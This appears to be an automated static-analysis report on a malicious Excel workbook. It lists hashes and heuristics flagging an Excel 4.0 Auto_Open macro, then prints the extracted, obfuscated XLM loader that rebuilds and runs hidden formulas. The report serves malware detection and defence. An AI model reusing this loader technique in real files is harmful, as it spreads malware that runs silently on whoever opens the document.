Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 f0c94ee878c02728…

MALICIOUS

Office (OLE)

36.5 KB Created: 2020-11-25 10:42:29 Authoring application: Microsoft Excel First seen: 2022-07-02
MD5: fbe2798e18eeba9da34b851d1f1310a6 SHA-1: 69ed1066d5161d925b2ecbe19dcb050eccf94ac5 SHA-256: f0c94ee878c027280a0ad131ff75e73a0ee742ec78e4bd00b5c17184f5c08f44
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6623 bytes
SHA-256: 72ae52dbfcc8d399bfd04ae41a193c81091b9b92044fe1cd6fcaaed8991b88a7
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     18 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  IzSGvafEG
' 0018     25 LABEL : Cell Value, String Constant - aImMhVavlL len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!F165 
' 0018     21 LABEL : Cell Value, String Constant - awxaav len=0 
' 0018     21 LABEL : Cell Value, String Constant - BeGzXK len=0 
' 0018     20 LABEL : Cell Value, String Constant - daPoB len=0 
' 0018     26 LABEL : Cell Value, String Constant - jTiLrnLPSSG len=0 
' 0018     26 LABEL : Cell Value, String Constant - KMufPlysYUO len=0 
' 0018     23 LABEL : Cell Value, String Constant - kSlEIwhW len=0 
' 0018     24 LABEL : Cell Value, String Constant - lOLPCtzJi len=0 
' 0018     23 LABEL : Cell Value, String Constant - mpthivEP len=0 
' 0018     25 LABEL : Cell Value, String Constant - NoEoNSNfRm len=0 
' 0018     26 LABEL : Cell Value, String Constant - QwPxclSotOt len=0 
' 0018     25 LABEL : Cell Value, String Constant - SHldplClAU len=0 
' 0018     27 LABEL : Cell Value, String Constant - sTkmgvVkIWfW len=0 
' 0018     22 LABEL : Cell Value, String Constant - tgPWOUB len=0 
' 0018     24 LABEL : Cell Value, String Constant - tLimODtox len=0 
' 0018     24 LABEL : Cell Value, String Constant - TZisThHDt len=0 
' 0018     20 LABEL : Cell Value, String Constant - UbeoF len=0 
' 0018     20 LABEL : Cell Value, String Constant - UGfxK len=0 
' 0018     20 LABEL : Cell Value, String Constant - wJZoK len=0 
' 0018     22 LABEL : Cell Value, String Constant - zeCPadR len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  IzSGvafEG,F70,"SET.NAME("tLimODtox",VALUE("0"))",""
'  IzSGvafEG,F73,"SET.NAME("NoEoNSNfRm",tLimODtox)",""
'  IzSGvafEG,F76,"SET.NAME("daPoB",tLimODtox)",""
'  IzSGvafEG,F80,"SET.NAME("aImMhVavlL",COUNTA(QwPxclSotOt))",""
'  IzSGvafEG,F82,"SET.NAME("tgPWOUB",COUNTA(UGfxK))",""
'  IzSGvafEG,F85,[],""
'  IzSGvafEG,F87,"SET.NAME("mpthivEP","")",""
'  IzSGvafEG,F91,"NoEoNSNfRm",""
'  IzSGvafEG,F94,"SET.NAME("wJZoK",HLOOKUP("*",QwPxclSotOt,NoEoNSNfRm,FALSE))",""
'  IzSGvafEG,F98,"UbeoF",""
'  IzSGvafEG,F103,"SET.NAME("SHldplClAU",tLimODtox)",""
'  IzSGvafEG,F105,[],""
'  IzSGvafEG,F109,"SHldplClAU",""
'  IzSGvafEG,F114,"lOLPCtzJi",""
'  IzSGvafEG,F117,"awxaav",""
'  IzSGvafEG,F121,"kSlEIwhW",""
'  IzSGvafEG,F126,"SET.NAME("KMufPlysYUO",VALUE(HLOOKUP("*",UGfxK,kSlEIwhW,FALSE)))",""
'  IzSGvafEG,F130,"jTiLrnLPSSG",""
'  IzSGvafEG,F135,"mpthivEP",""
'  IzSGvafEG,F138,"daPoB",""
'  IzSGvafEG,F140,NEXT(),""
'  IzSGvafEG,F144,"zeCPadR",""
'  IzSGvafEG,F148,"SET.NAME("f",INT(T(FORMULA(T(mpthivEP)&"",""&T(zeCPadR)))))",""
'  IzSGvafEG,F153,"TZisThHDt",""
'  IzSGvafEG,F158,NEXT(),""
'  IzSGvafEG,F162,RETURN(),""
'  IzSGvafEG,F192,"SET.NAME("sTkmgvVkIWfW",F70)",""
'  IzSGvafEG,F194,"QwPxclSotOt",""
'  IzSGvafEG,F198,"SET.NAME("UGfxK",R98C11)",""
'  IzSGvafEG,F203,"SET.NAME("TZisThHDt",210)",""
'  IzSGvafEG,F206,"SET.NAME("BeGzXK",6)",""
'  IzSGvafEG,F209,sTkmgvVkIWfW(),""
'  IzSGvafEG,F210,HALT(),""

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